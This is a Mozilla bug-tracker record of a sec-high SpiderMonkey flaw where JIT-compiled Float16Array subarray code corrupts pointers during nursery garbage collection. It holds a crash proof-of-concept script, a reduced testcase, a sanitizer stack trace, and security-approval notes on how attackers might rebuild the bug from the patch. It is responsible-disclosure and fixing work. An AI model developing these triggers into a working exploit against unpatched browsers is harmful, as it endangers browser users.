Memory Corruption in SpiderMonkey Garbage Collection During JIT Compilation with Float16Array and Function.prototype.call Override
Categories
(Core :: JavaScript Engine: JIT, defect)
Tracking
()
| Tracking | Status | |
|---|---|---|
| firefox-esr115 | --- | unaffected |
| firefox-esr128 | --- | unaffected |
| firefox-esr140 | --- | unaffected |
| firefox142 | --- | unaffected |
| firefox143 | + | fixed |
| firefox144 | + | fixed |
People
(Reporter: sakura, Assigned: anba)
References
(Blocks 1 open bug, Regression)
Details
(4 keywords, Whiteboard: [client-bounty-form][adv-main143.0.3+])
Attachments
(3 files)
|
48 bytes,
text/x-phabricator-request
|
dveditz
:
sec-approval+
|
Details | Review |
|
48 bytes,
text/x-phabricator-request
|
Details | Review | |
|
48 bytes,
text/x-phabricator-request
|
phab-bot
:
approval-mozilla-release+
|
Details | Review |
Reproduce
- Clone the Firefox mirror from https://github.com/mozilla-firefox/firefox
- Run build command in the js/src directory of the firefox checkout:
mkdir fuzzbuild_OPT.OBJ && cd fuzzbuild_OPT.OBJ && ../configure --enable-address-sanitizer --disable-jemalloc --enable-debug --enable-optimize --disable-shared-js --enable-application=js --enable-gczeal && make -j64 - Run poc:
fuzzbuild_OPT.OBJ/dist/bin/js --baseline-warmup-threshold=10 --ion-warmup-threshold=100 --gc-zeal=15 poc.js
Test SpiderMonkey commit hash: 3c23ce1368431d49bae08e8e211f7f2bf4e4829d
commit 3c23ce1368431d49bae08e8e211f7f2bf4e4829d
Author: stransky <stransky@redhat.com>
Date: 2025-09-08 04:20:40 +0000
Bug 1979106 [Wayland] Don't recycle buffer transactions across WaylandSurfaces r=emilio
POC (poc.js):
function crash(value) {
var array = new Float16Array(10).subarray(1);
array[0] = Math.f16round(value);
Function.prototype.call = function () {
value++;
};
crash(array[0], value);
}
for (var i = 0; i < 100; ++i) {
crash(i);
}
Root Cause
The vulnerability occurs due to a memory corruption issue in SpiderMonkey's garbage collection system when handling JIT-compiled code that interacts with typed arrays (specifically Float16Array) and modified built-in function prototypes. The code recursively calls crash() function with Float16Array operations while Function.prototype.call is overridden, creating a complex JIT compilation scenario. The --gc-zeal=15 flag forces frequent garbage collection cycles, and during the recursive execution, nursery garbage collection is triggered.
The crash occurs in js::Nursery::forwardBufferPointer() at line 1041, where the garbage collector attempts to forward buffer pointers for objects in the nursery during minor GC processing of JIT frame information. The problematic code path is in Nursery.cpp:
// Line ~1041 in forwardBufferPointer()
BufferRelocationOverlay* reloc = static_cast<BufferRelocationOverlay*>(buffer);
buffer = *reloc;
MOZ_ASSERT(IsWriteableAddress(buffer)); // Crash occurs here
The IsWriteableAddress() function attempts to validate a memory address by dereferencing it:
// Line 1012 in IsWriteableAddress()
static bool IsWriteableAddress(void* ptr) {
auto* vPtr = reinterpret_cast<volatile uint64_t*>(ptr);
*vPtr = *vPtr; // SEGV occurs here - invalid memory access
return true;
}
The crash occurs because the buffer pointer being forwarded (0x000025bff347 in the crash) is not a valid memory address, likely due to corruption during the complex interaction between JIT compilation of the recursive function, Float16Array buffer management, modified Function.prototype.call affecting call semantics, and aggressive garbage collection cycles.
Crash Stack Trace
UndefinedBehaviorSanitizer Error: SEGV on unknown address 0x000025bff347
Stack frames showing crash path:
UndefinedBehaviorSanitizer:DEADLYSIGNAL
==11301==ERROR: UndefinedBehaviorSanitizer: SEGV on unknown address 0x000025bff347 (pc 0x561d5a90bb85 bp 0x7ffef0106830 sp 0x7ffef01067e0 T11301)
==11301==The signal is caused by a READ memory access.
#0 0x561d5a90bb85 in IsWriteableAddress(void*) /home/sakura/gecko-dev/js/src/gc/Nursery.cpp:1012:11
#1 0x561d5a90bb85 in js::Nursery::forwardBufferPointer(unsigned long*) /home/sakura/gecko-dev/js/src/gc/Nursery.cpp:1041:5
#2 0x561d5b2ed884 in js::jit::UpdateIonJSFrameForMinorGC(JSRuntime*, js::jit::JSJitFrameIter const&) /home/sakura/gecko-dev/js/src/jit/JitFrames.cpp:1152:15
#3 0x561d5b2ed884 in js::jit::UpdateJitActivationsForMinorGC(JSRuntime*) /home/sakura/gecko-dev/js/src/jit/JitFrames.cpp:1528:11
#4 0x561d5a90f417 in js::Nursery::doCollection(js::gc::AutoGCSession&, JS::GCOptions, JS::GCReason) /home/sakura/gecko-dev/js/src/gc/Nursery.cpp:1742:3
#5 0x561d5a90e1e3 in js::Nursery::collect(JS::GCOptions, JS::GCReason) /home/sakura/gecko-dev/js/src/gc/Nursery.cpp:1459:31
#6 0x561d5a875a8f in js::gc::GCRuntime::collectNursery(JS::GCOptions, JS::GCReason, js::gcstats::PhaseKind) /home/sakura/gecko-dev/js/src/gc/GC.cpp:5072:13
#7 0x561d5a84ea2c in js::gc::GCRuntime::minorGC(JS::GCReason, js::gcstats::PhaseKind) /home/sakura/gecko-dev/js/src/gc/GC.cpp:5043:3
#8 0x561d5a7e11f3 in void* js::gc::CellAllocator::RetryNurseryAlloc<(js::AllowGC)1>(JSContext*, JS::TraceKind, js::gc::AllocKind, unsigned long, js::gc::AllocSite*) /home/sakura/gecko-dev/js/src/gc/Allocator.cpp:107:23
Register values at crash:
rax = 0x0000000025bff347 # Invalid pointer being accessed
rbx = 0x00007f95b6645110 rcx = 0x00000000000ca850 rdx = 0x00007f95b549fa00
The crash demonstrates a memory safety violation where the garbage collector attempts to access an invalid memory address during buffer pointer forwarding, likely due to corruption in the JIT frame management when handling the complex scenario involving typed arrays and modified built-in prototypes.
Updated•1 year ago
|
Updated•1 year ago
|
Comment 1•1 year ago
|
||
(Priority and severity tentative)
Jon, maybe a buffer allocator issue?
Comment 2•1 year ago
|
||
BufferRelocationOverlay is in fact not related to the the buffer allocator. I see UpdateIonJSFrameForMinorGC is on the stack so maybe some JIT tracing issue.
Maybe this is related to the changes for scalar replacement of subarray in bug 1980613?
Comment 3•1 year ago
|
||
Ah. Mea-culpa. Iain, want to take a first pass look?
| Reporter | ||
Comment 4•1 year ago
|
||
Should we increase the priority of this issue?👀
Comment 5•1 year ago
|
||
(In reply to Nan Wang@eternalsakura13 from comment #4)
Should we increase the priority of this issue?👀
The SpiderMonkey team is generally pretty good at fixing issues quickly, so I don't think it is helpful to poke at bugs like this until they've been stalled out for say a week. If you want to help the bug move along, you could look for the regressing bug, as that sets the responsibility more definitively, and usually makes it easier to fix the bug.
| Reporter | ||
Comment 6•1 year ago
|
||
Thank you for your explanation. I will try to run autobisect.
Updated•1 year ago
|
Comment 7•1 year ago
|
||
This doesn't have anything to do with Function.call. At first glance it looks like it has something to do with the subarray scalar replacement patches in bug 1980613. Here's a reduced testcase:
function crash() {
var array = new Float16Array(10).subarray(1);
array[0] = 1;
let result = () => {};
crash(array[0]);
return result;
}
try {
crash();
} catch {}
We make a subarray, store an element, and then load that element. Between the store and the load we allocate a lambda. If we trigger a GC allocating the lambda, then when we visit the Ion frame to update any slots/elements pointers, something has gone wrong and we load a bogus value off the stack. I believe that the value is the result of an ArrayBufferViewElementsWithOffset node, which is typed as an Elements pointer, but maybe isn't a real one for the purposes of the GC. Out of time for today; will dig into this more tomorrow.
Updated•1 year ago
|
| Comment hidden (obsolete) |
| Assignee | ||
Comment 9•1 year ago
|
||
Updated•1 year ago
|
| Assignee | ||
Comment 10•1 year ago
|
||
Comment 11•1 year ago
|
||
firefox-beta Uplift Approval Request
- User impact if declined: Possible GC memory corruption
- Code covered by automated testing: yes
- Fix verified in Nightly: no
- Needs manual QE test: no
- Steps to reproduce for manual QE testing: N/A
- Risk associated with taking this patch: low
- Explanation of risk level: Low risk because it just inhibits additional JIT compiler optimisations.
- String changes made/needed: No
- Is Android affected?: yes
| Assignee | ||
Comment 12•1 year ago
|
||
Original Revision: https://phabricator.services.mozilla.com/D264542
Comment 13•1 year ago
|
||
The severity field for this bug is set to S3. However, the bug is flagged with the sec-high keyword.
:anba, could you consider increasing the severity of this security bug?
For more information, please visit BugBot documentation.
Updated•1 year ago
|
Updated•1 year ago
|
Comment 14•1 year ago
|
||
This needs a sec-approval request as well since it's a sec-high affecting more than Nightly. It's already too late to land this fix for 143.0 but we could potentially take it in a mid-cycle dot release.
| Assignee | ||
Comment 15•1 year ago
|
||
Comment on attachment 9512789 [details]
(secure)
Security Approval Request
- How easily could an exploit be constructed based on the patch?: The patch removes flags from
MArrayBufferViewElementsWithOffset, includingmovableandcongruent_to. Attackers will likely know that this hints at some issues around GVN or LICM, that means issues when either movingMArrayBufferViewElementsWithOffsetfor example before a loop (LICM) or removing identical instructions (GVN). This could give them an idea which kind of code (either some code involving loops or some code which uses identical insructions) is needed to trigger the crash.MArrayBufferViewElementsWithOffsetis only created during scalar replacement forTypedArray.prototype.subarray, so an attacker will know where to concentrate their efforts to reconstruct the issue. It's not directly obvious that a minor GC needs to be triggered and which other MIR instructions are needed.
See also bug 1160884 and bug 1791520 for similar issues when a typed array elements pointer isn't correctly updated during by the garbage collector.
- Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?: No
- Which branches (beta, release, and/or ESR) are affected by this flaw, and do the release status flags reflect this affected/unaffected state correctly?: Beta
- If not all supported branches, which bug introduced the flaw?: Bug 1980613
- Do you have backports for the affected branches?: Yes
- If not, how different, hard to create, and risky will they be?:
- How likely is this patch to cause regressions; how much testing does it need?: Unlikely to cause regressions, because the patch only inhibits additional JIT optimisations.
- Is the patch ready to land after security approval is given?: Yes
- Is Android affected?: Yes
Comment 16•1 year ago
|
||
(In reply to Nan Wang@eternalsakura13 from comment #8)
autobisect: [...]
[2025-09-11 12:02:30] > https://hg.mozilla.org/mozilla-central/pushloghtml?fromchange=26a4b3bbf1f2411870927b34a12ecbd0b0f51bda&tochange=26a4b3bbf1f2411870927b34a12ecbd0b0f51bda
That can't be right: First, it's an empty range—is that a known autobisect bug when there's only a single changeset? Second, if I interpret that to mean autobisect was blaming the single changeset 26a4b3bbf1f2411870927b34a12ecbd0b0f51bda, that's an Android localization update that can't possibly have any relation to this bug. The JavaScript team's consensus regressor (1980613) was checked in 5 days earlier than that one.
| Assignee | ||
Comment 17•1 year ago
|
||
Comment on attachment 9512783 [details]
(secure)
Security Approval Request
- How easily could an exploit be constructed based on the patch?: See Beta sec-approval request.
- Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?: No
- Which branches (beta, release, and/or ESR) are affected by this flaw, and do the release status flags reflect this affected/unaffected state correctly?: Beta
- If not all supported branches, which bug introduced the flaw?: Bug 1980613
- Do you have backports for the affected branches?: Yes
- If not, how different, hard to create, and risky will they be?:
- How likely is this patch to cause regressions; how much testing does it need?: See Beta sec-approval request.
- Is the patch ready to land after security approval is given?: Yes
- Is Android affected?: Yes
| Reporter | ||
Comment 18•1 year ago
|
||
(In reply to Daniel Veditz [:dveditz] from comment #16)
(In reply to Nan Wang@eternalsakura13 from comment #8)
autobisect: [...]
[2025-09-11 12:02:30] > https://hg.mozilla.org/mozilla-central/pushloghtml?fromchange=26a4b3bbf1f2411870927b34a12ecbd0b0f51bda&tochange=26a4b3bbf1f2411870927b34a12ecbd0b0f51bdaThat can't be right: First, it's an empty range—is that a known autobisect bug when there's only a single changeset? Second, if I interpret that to mean autobisect was blaming the single changeset 26a4b3bbf1f2411870927b34a12ecbd0b0f51bda, that's an Android localization update that can't possibly have any relation to this bug. The JavaScript team's consensus regressor (1980613) was checked in 5 days earlier than that one.
Hi, this is really strange. I don't know if it's due to network issues or something else that it produced this result... This shouldn't be right. I will run autobisect several more times next time to ensure stability.
Comment 19•1 year ago
|
||
Comment on attachment 9512789 [details]
(secure)
sec-approval is only needed for landing on main
Comment 20•1 year ago
|
||
Comment on attachment 9512783 [details]
(secure)
sec-approval=dveditz to land in Nightly 144. Do not land the test yet! Wait until 2025-11-18 or later after 145 ships (there's a long-tail of people who update late).
Updated•1 year ago
|
Comment 21•1 year ago
|
||
(In reply to André Bargull [:anba] from comment #15)
Security Approval Request
- How easily could an exploit be constructed based on the patch?: ...
For what it's worth, despite having already investigated the testcase and having a rough sense of what the bug was, it still took me a minute to figure out how this fixed it. I think it would be pretty hard for an attacker to glean much from this patch.
Comment 22•1 year ago
|
||
Comment 23•1 year ago
|
||
Updated•1 year ago
|
Updated•1 year ago
|
Updated•1 year ago
|
Updated•1 year ago
|
Comment 24•1 year ago
|
||
| uplift | ||
Updated•11 months ago
|
Updated•11 months ago
|
Comment 25•10 months ago
|
||
2 months ago, dveditz placed a reminder on the bug using the whiteboard tag [reminder-test 2025-11-18] .
anba, please refer to the original comment to better understand the reason for the reminder.
| Assignee | ||
Updated•8 months ago
|
Comment 26•8 months ago
|
||
Comment 27•8 months ago
|
||
Updated•5 months ago
|
Description
•